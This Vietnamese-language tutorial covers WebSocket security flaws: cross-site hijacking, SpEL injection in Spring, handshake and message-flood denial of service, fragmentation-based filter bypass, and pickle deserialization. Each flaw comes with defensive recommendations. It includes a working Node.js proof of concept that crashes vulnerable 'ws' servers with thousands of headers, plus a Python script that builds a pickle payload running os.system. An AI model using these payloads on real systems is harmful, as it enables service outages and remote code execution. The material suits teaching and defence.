WebSocket là giao thức hoạt động trên nền TCP, cung cấp kênh truyền full-duplex (hai chiều đồng thời) và realtime (thời gian thực).
Khác với HTTP thông thường (request/response), WebSocket giữ kết nối mở liên tục, cho phép client ↔ server
trao đổi dữ liệu mà không cần overhead mỗi lần handshake.
So với HTTP truyền thống vốn dựa trên mô hình request/response một chiều (client gửi → server trả lời), WebSocket khác biệt ở chỗ: sau khi bắt tay (handshake
) ban đầu qua HTTP, kết nối được nâng cấp và duy trì liên tục.
WebSocket được dùng phổ biến trong:
- Chat applications (Messenger, Slack…)
- Game online realtime (multiplayer, update trạng thái liên tục)
- Trading platform / tài chính (giá cổ phiếu, tiền ảo…)
- Dashboard realtime (giám sát logs, metrics, IoT).
Payload WebSocket có thể ở dạng:
- Text (JSON, XML, CSV…)
- Binary (Protobuf, Thrift, FlatBuffers, hoặc thậm chí các định dạng serialize ngôn ngữ như Java Serialization, Pickle của Python…).

Tuy nhiên, chính vì WebSocket giữ kết nối mở liên tục và có thể truyền cả dữ liệu text lẫn binary, nó cũng mở ra những bề mặt tấn công mới. Nếu lập trình viên không kiểm soát chặt chẽ dữ liệu nhận được, kẻ tấn công có thể lợi dụng việc deserialize binary payload, chia nhỏ frame, hoặc khai thác logic stateful để bypass xác thực, chiếm quyền hoặc thậm chí đạt tới Remote Code Execution (RCE). Trong các phần tiếp theo, chúng ta sẽ cùng phân tích một số kịch bản khai thác WebSocket tiêu biểu.
Cross-Site WebSocket Hijacking (CSWSH)
Cross-Site WebSocket Hijacking (CSWSH
) là một dạng tấn công trên ứng dụng Web sử dụng WebSocket, trong đó kẻ tấn công lợi dụng việc server chấp nhận các kết nối WebSocket mà chỉ dựa vào cookie/session của người dùng mà không thực hiện kiểm tra Origin, CSRF token, hoặc cơ chế xác thực bổ sung. Điều này cho phép kẻ tấn công từ một trang web độc hại kiểm soát kết nối WebSocket của nạn nhân tới server hợp pháp, từ đó thực hiện các hành vi trái phép như đọc/ghi dữ liệu.
Cơ chế tấn công:
- Người dùng đăng nhập vào một ứng dụng web hợp pháp (ví dụ: bank.example.com) và session cookie được lưu trong trình duyệt.
- Kẻ tấn công tạo một trang web độc hại (evil.com) chứa JavaScript, mà script này sẽ cố gắng mở kết nối WebSocket tới server hợp pháp của nạn nhân (wss://bank.example.com/ws).
- Vì trình duyệt sẽ tự động gửi cookie của bank.example.com theo cùng domain trong kết nối WebSocket, nếu server không kiểm tra Origin hoặc token CSRF, kết nối này được server chấp nhận.
Kẻ tấn công giờ đây có thể:
- Gửi các lệnh đến server với quyền của nạn nhân.
Nhận dữ liệu nhạy cảm từ server, ví dụ thông tin tài khoản, tin nhắn, hay dữ liệu riêng tư khác.
Ví dụ CVE-2024-26135 MeshCentral cross-site websocket hijacking (CSWSH)
Kẻ tấn công lừa nạn nhân truy cập một trang độc hại mở một WebSocket cross-origin tới endpoint WebSocket của MeshCentral(v1.2.0) (ví dụ /control.ashx) — nếu server tin cookie/session mà không kiểm tra Origin hoặc không bắt authen ở application, attacker có thể gửi/nhận message dưới quyền nạn nhân và thực hiện hành động nhạy cảm (vd. đọc file config, lấy sessionKey, sinh token).
- Đầu tiên, khi nạn nhân đăng nhập, trình duyệt sẽ nhận được Set-Cookie
(ví dụ xid).

- Từ trang attacker, kẻ tấn công gửi một lệnh như readConfig
qua WebSocket để yêu cầu server trả cấu hình.

- Vì cookie của ứng dụng được cấu hình SameSite=Lax
, trình duyệt thường không gửi cookie cho các yêu cầu WebSocket khởi tạo từ một trang cross-origin trừ khi có điều kiện đặc biệt (ví dụ user thực hiện top-level navigation). Do đó attacker thường cần một bước trung gian ví dụ chiếm một subdomain (subdomain takeover) hoặc khai thác XSS trên một ứng dụng cùng miền — để buộc nạn nhân thực hiện một hành động (click hoặc load script) khiến cookie được gửi, hoặc để attacker phục vụ mã độc từ cùng origin.


Khuyến nghị
- Kiểm tra Origin: Chỉ chấp nhận kết nối từ domain hợp pháp.
- Sử dụng token xác thực: CSRF token hoặc JWT, không chỉ dựa vào cookie/session.
- Xác thực message quan trọng: Mỗi lệnh nhạy cảm phải được server kiểm tra.
- Giới hạn quyền WebSocket: Session riêng, quyền tối thiểu.
- Giám sát và giới hạn bất thường: Theo dõi kết nối, áp dụng rate limit.
Input Validation
WebSocket có thể gặp các bug tương tự HTTP nếu không kiểm soát input từ người dùng, như: SQL Injection (SQLi), Cross-Site Scripting (XSS), Deserialization, SpEL injection. Dữ liệu gửi từ client có thể được xử lý trực tiếp trên server, dẫn đến nguy cơ thực thi lệnh trái phép, rò rỉ dữ liệu hoặc Remote Code Execution (RCE).
Ví dụ CVE-2018-1270 Remote Code Execution with spring-messaging
Spring Framework 5.0.x trước 5.0.5 và 4.3.x trước 4.3.16, cũng như các phiên bản cũ không còn được hỗ trợ, cho phép ứng dụng mở các endpoint STOMP
qua WebSocket với một STOMP broker
đơn giản chạy trong bộ nhớ thông qua module spring-messaging
. Attacker có thể tạo message gửi tới broker, dẫn đến tấn công thực thi mã từ xa (RCE).
Message with SpEL
-> addSubscriptionInternal
-> this.selectorHeaderInUse = true
-> sendMessageToSubscribers
-> DefaultSubscriptionRegistry.findSubscriptionsInternal()
-> filterSubscriptions -> expression.getValue -> RCE
Gửi request với payload SpEL với message là SUBSCRIBE
như sau

Message vào hàm addSubscriptionInternal
sẽ có message.getHeaders() -> stompCommand=SUBSCRIBE
với header là payload selector

Theo flow trên sau đó gọi expression.getValue
thực hiện SpEL

Khuyến nghị
- Validate dữ liệu đầu vào: Chỉ chấp nhận kiểu và giá trị hợp lệ.
- Escape/encode output: Ngăn XSS khi trả dữ liệu cho client khác.
- Tránh deserialize trực tiếp: Dùng whitelist hoặc sandbox.
- Sử dụng prepared statements: Ngăn SQLi từ dữ liệu WebSocket.
- Giới hạn quyền và resource: Chặn payload nguy hiểm ngay từ đầu.
DOS
DoS (Denial of Service) là tấn công làm ngưng trệ hoặc làm chậm server, khiến ứng dụng không phục vụ được client hợp pháp. Với WebSocket, DoS có thể xảy ra ở nhiều giai đoạn:
- Trong quá trình handshake (HTTP Upgrade
): gửi request chứa nhiều header bất thường hoặc crafted header khiến thư viện xử lý WebSocket bị crash.
- Flood message liên tục (gửi hàng nghìn message/giây).
- Mở nhiều kết nối đồng thời để chiếm tài nguyên.
- Gửi payload lớn gây tràn bộ nhớ hoặc tiêu tốn CPU khi parse
Trường hợp trong quá trình gửi message
Tạo một server tomcat 9.0.1
có thể bị dos

Gửi message bình thường 100 message cùng lúc

Chạy script dos 100 threads cùng lúc

Trường hợp trong quá trình handshake
CVE-2024-37890 Denial of Service (DoS) Lỗ hổng này tồn tại trong package ws – thư viện WebSocket phổ biến cho Node.js. Một attacker có thể gửi HTTP Upgrade request
với hàng nghìn header bất thường để làm crash server khi nó parse handshake.
- 2.1.0 <= ws < 5.2.4
- 6.0.0 <= ws < 6.2.3
- 7.0.0 <= ws < 7.5.10
- 8.0.0 <= ws < 8.17.1
Poc:
const http = require('http');
const port = 8080;
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const req = http.request({ host: '127.0.0.1', port: port, headers: headers });
req.on('error', (err) => {
console.log('Expected error (server may have reset connection):', err.message);
});
req.end();
console.log('PoC request sent');
Poc gửi hàng nghìn header để khiến server websocket bị crash

Server bị crash

Khuyến nghị
- Giới hạn số kết nối đồng thời: cấu hình server chỉ cho phép N kết nối từ mỗi client/IP.
- Rate limiting message: giới hạn số message/giây từ client.
- Giới hạn kích thước payload: chặn message quá lớn.
- Giám sát và cảnh báo: detect pattern gửi message bất thường, tạm block client.
- Tách resource WebSocket: chạy service WebSocket riêng, tránh ảnh hưởng toàn bộ hệ thống khi bị DoS.
Multi-frame / Fragmentation Exploit
WebSocket Protocol hoạt động bằng cách gửi và nhận các frames
.
Single Frame: Một message WebSocket đơn giản thường được gửi đi trong một frame duy nhất.
Fragmentation (Phân mảnh): Một message WebSocket lớn có thể được chia nhỏ thành nhiều frames.
- Frame đầu tiên: Phải là một non-final frame (FIN = 0
) và có opcode (ví dụ: 0x01 cho text, 0x02 cho binary).
- Các frame tiếp theo: Phải là continuation frames (opcode = 0x0
).
- Frame cuối cùng: Là một continuation frame với FIN = 1
, báo hiệu kết thúc message.
Ví dụ minh hoạ
Frame 1: [FIN=0, op=0x1] "Hell"
Frame 2: [FIN=0, op=0x1] "o Wor"
Frame 3: [FIN=1, op=0x1] "ld"
-> Server Hello World


Ví dụ Bypass input validation do xử lý multi frame
Ứng dụng WebSocket filter/validator (ví dụ lọc XSS hoặc kiểm tra từ blacklist) trên từng frame khi nó đến thay vì chờ tái hợp (reassembly
) toàn bộ message. Nếu attacker chia một payload thành nhiều fragment, mỗi frame đều vượt qua validator, nhưng sau khi server tái hợp các fragment lại sẽ tạo thành payload nguy hiểm đầy đủ — lúc này server đã bỏ sót kiểm tra.
Hậu quả
- Bypass filter: các kiểm tra dựa trên chuỗi/từ khoá có thể bị bỏ qua → XSS, injection, hoặc bypass logic an toàn.
- Logic-flaws: tính năng xác thực/authorization giả định dữ liệu đã được kiểm tra toàn bộ nhưng thực tế không.
- Trong những triển khai tệ hơn: kết hợp với lỗi bộ nhớ/decoder có thể dẫn đến crash hoặc RCE (nếu có bug native khác).
Gửi payload bypass bằng cách chia thành nhiều frame (ví dụ với CVE 2018-1270
)



Khuyến nghị
- Validate sau khi reassembly: chỉ parse/validate (JSON, STOMP, SQL, v.v.) khi đã nhận FIN=1.
- Giới hạn tài nguyên: max_message_size
(ví dụ 1–8 MB), max_fragments
(ví dụ 256–1024), fragment_timeout
(~5–15s) vì nếu không giới hạn mỗi fragments thì attacker có thể chèn nhiều fragments để dos server.
- Tuân thủ spec: bắt continuation opcode = 0x0
, control frames phải FIN=1
và payload ≤125 bytes.
-Compression: nếu permessage-deflate bật thì decompress sau khi reassembly; không reuse decoder state.
- Fail-fast: nếu opcode sai, quá nhiều fragment, vượt size hoặc timeout → đóng connection.
Deserialization / Unsafe formats
WebSocket hỗ trợ truyền cả text và binary. Khi ứng dụng deserialize (chuyển bytes → object) dữ liệu nhận từ WebSocket mà không bảo vệ đúng mức, attacker có thể lợi dụng lỗ hổng trong thư viện/parsers để gây RCE, data leak, hoặc DoS.
Ví dụ đơn giản về websockets sử dụng pickle để deserialize

Gửi message websockets là payload deserialize để server thực thi lệnh
Payload pickle
import pickle
import base64
import os
class Blah(object):
def __reduce__(self):
return (os.system, ("cmd",))
data = Blah()
payload_bytes = pickle.dumps(data)
b64_data = base64.b64encode(payload_bytes).decode()
print(b64_data)


Protobuf
Protocol Buffers (Protobuf
) là format nhị phân do Google phát triển. Dùng để serialize / deserialize dữ liệu (giống JSON/XML nhưng gọn nhẹ, nhanh hơn).
Cần file .proto
để định nghĩa cấu trúc message → compile
ra code (Java, Python, Go, JS…).
syntax = "proto3";
message ChatMessage {
int64 user_id = 1;
string content = 2;
int64 timestamp = 3;
}
```
```
{
"user_id": 123456,
"content": "Hello",
"timestamp": 1726645830
}
-> 08 D2 09 12 05 48 65 6C 6C 6F 18 C6 A3 E8 CB 06
Cách hoạt động:
- Client gửi dữ liệu → encode bằng Protobuf → WebSocket frame (binary).
- Server nhận → decode bằng Protobuf → xử lý.
- Ngược lại cũng vậy.
Ví dụ ứng dụng sử dụng protobuf để xử lý dữ liệu

Tại sao Protobuf an toàn hơn:
- Kiểm soát chặt chẽ cấu trúc: Dữ liệu đến phải khớp hoàn toàn với schema đã định nghĩa. Các trường không xác định, thiếu hoặc thừa đều sẽ bị loại bỏ hoặc gây lỗi trong quá trình parsing.
- Không chứa mã thực thi: Định dạng binary của Protobuf chỉ chứa dữ liệu (số, chuỗi, mảng...) và các tag của trường. Nó hoàn toàn không có khả năng nhúng hay biểu diễn mã thực thi như pickle.
- Quá trình Parsing an toàn: Thư viện Protobuf được thiết kế chỉ để trích xuất dữ liệu theo schema. Nó không có các cơ chế nguy hiểm như __reduce__
có thể bị lợi dụng.
- Tăng độ khó cho attacker trong việc phân tích dữ liệu so với JSON/XML thuần text.
Kết luận
WebSocket là công cụ mạnh mẽ cho ứng dụng realtime nhưng đồng thời mở thêm nhiều bề mặt tấn công nếu không thiết kế cẩn thận. Các rủi ro chính thường gặp là: hijacking (CSWSH) khi chỉ tin vào cookie, bypass/logic-flaws do fragmentation, DoS qua handshake/message flood, và lỗi nghiêm trọng từ deserialization các định dạng không an toàn (pickle, Java Serialization…). Protobuf/JSON+schema giúp giảm rủi ro bằng cách bắt buộc schema và loại bỏ khả năng nhúng mã, nhưng không thay thế các biện pháp bảo mật nền tảng như TLS, giới hạn tài nguyên và kiểm tra đầu vào.
References:
- https://github.com/CaledoniaProject/CVE-2018-1270
- https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-cp68-qrhr-g9h8
- https://security.snyk.io/vuln/SNYK-RHEL8-TOMCAT-7216318
- https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html#service-tunneling-risks
- https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers